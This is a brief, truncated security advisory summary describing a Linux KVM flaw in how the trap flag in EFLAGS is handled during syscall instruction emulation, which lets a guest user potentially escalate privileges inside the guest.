Kernel: KVM: debug exception via syscall emulation

A flaw was found in the way the Linux KVM module processed the trap flagTF bit in EFLAGS during emulation of the syscall instruction, which leads to a debug exceptionDB being raised in the guest stack. A user/process inside a guest could use this flaw to potentially escalate their privileges insi...
